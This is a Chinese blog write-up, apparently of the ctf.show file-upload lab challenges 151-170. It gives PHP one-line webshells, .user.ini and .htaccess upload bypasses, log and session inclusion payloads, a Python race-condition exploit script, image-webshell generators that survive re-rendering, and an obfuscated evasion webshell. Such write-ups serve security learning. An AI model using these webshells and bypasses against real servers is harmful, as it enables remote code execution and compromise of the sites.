CTF show web入门之文件上传
一个CTFer的小窝

CTF show web入门之文件上传

W1lsp0
2021-11-03 / 1 评论 / 39 阅读 / 正在检测是否收录...

web151

前端会进行检测类型,随便找一个图片上传,burp抓包进行修改
使用一句话木马上传,并同时传参获取flag

<?php eval($_POST['shell']);?>
payload:POST shell=system('tac ../????.???'); 

image-20211011212659561

web152

同151

web153

上传.user.ini配置文件 原理:https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/
防挂 https://www.cnblogs.com/l0nmar/p/14053889.html
当本目录下拥有.user.ini配置文件时,会首先识别里面的配置。

也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。

发现auto_append_fileauto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。

那么可以首先上传一个文件.user.ini,使得所有的文件都去包含下一个要上传的木马。然后上传一个带木马的图片,这样结合前面上传的配置文件可以使得所有的文件都带木马。再去利用这个木马去读取flag:shell=system('tac ../????.???');

auto_append_file="xxx" #.user.ini 配置文件
<?php                    #木马文件    
phpinfo();
eval($_POST['shell']);
?>

web154

过滤了文件中的php,将php标签换为<?pHp即可

web155

修改标签为短标签即可绕过
短标签:

<? echo '123';?> 前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> 不需要开启参数设置
<% echo '123';%> 前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
<script language="php">echo '123'; </script> php7.0 后已经不解析了。

web156

过滤了[],使用{},进行替代,其他操作同155

web157

测试过滤了;{},可以转换思路,直接使文件包含读取flag命令的png文件。

payload:<?=system('tac ../????.???')?>

web158

payload:<?=system('tac ../????.???')?>

web 159

又过滤了括号(),那就十使用票号,也就是反引号。会直接返回shell结果
payload: <?=nl ../????.????>

image-20211013171828703
image-20211013171853295

使用tac读取文件,返回会在界面直接显示。
使用nl读取文件,文件内容返回在注释里面

web 160

骚姿势,包含log绕过,因为log也被过滤了,所以payload:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
因为log会包含上传的ua,所以在ua后加上<?=tac ../????.????>,访问?/upload/index.php读取flag

web 161

因为图片文件头会有标识,所以增加了对文件头的标识的检测,加上文件头即可:GIF89A
image-20211013174527367

image-20211013174537953

web 162

基础上又过滤了.。包含不了.log文件了,尝试包含session文件。
image-20211013181309377

image-20211013181249347

# coding=utf-8
import io
import requests
import threading

sessID = 'test'
url = 'http://4d8cde0e-3cf5-4445-981f-459de20247ef.chall.ctf.show/'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 256 * 1)
        response = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("nl ../*.php");?>'},
            files={'file': ('test.txt', f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url + 'upload/index.php'.format(sessID))
        if 'flag' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

web 163

同162,直接包含/tmp/sess_test

web 164

后端进行二次渲染 ,利用 imagecreatefrompng().png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域

二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

这个地方需要使用脚本进行二次渲染的绕过,生成一个木马内容为<?$_GET[0]($_POST[1]);?>,的脚本。
上传后只需传参即可得到flag:使用bp抓包进行读取,不可使用Hackbar传参

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

web 165

本题为jpg二次渲染绕过
先随便上传一张jpg文件到服务器,再下载回来,php exp.php 1.jpg,再上传即可。
然后POST传参:1=system("cat flag.php")。但是我失败了,图片上传成功,但是获取不到flag
exp.php:

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

web 166

前端限制了只能上传ZIP,那就上传一个zip文件包含一句话木马

注意修改Content-Type为application/x-zip-compressed,然后使用奕剑连接或者直接POST参数获得flag
image-20211014211618488

web167

上传.htaccess文件 ,任意文件解析为php
然后上传一个jpg文件包含一句话木马,连接这个木马获得flag
payload:<?php system($_POST[1]);>

web168 基础免杀

直接蚁剑生成免杀shell

<?php // 使用时请删除此行, 连接密码: TyKPuntU ?>
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

image-20211015103053681

web 169-170

使用日志包含。
每次上传的UA头都会保存在日志里面,利用.user.ini包含日志文件,从而获得flag
image-20211015105156868

0

评论 (1)

取消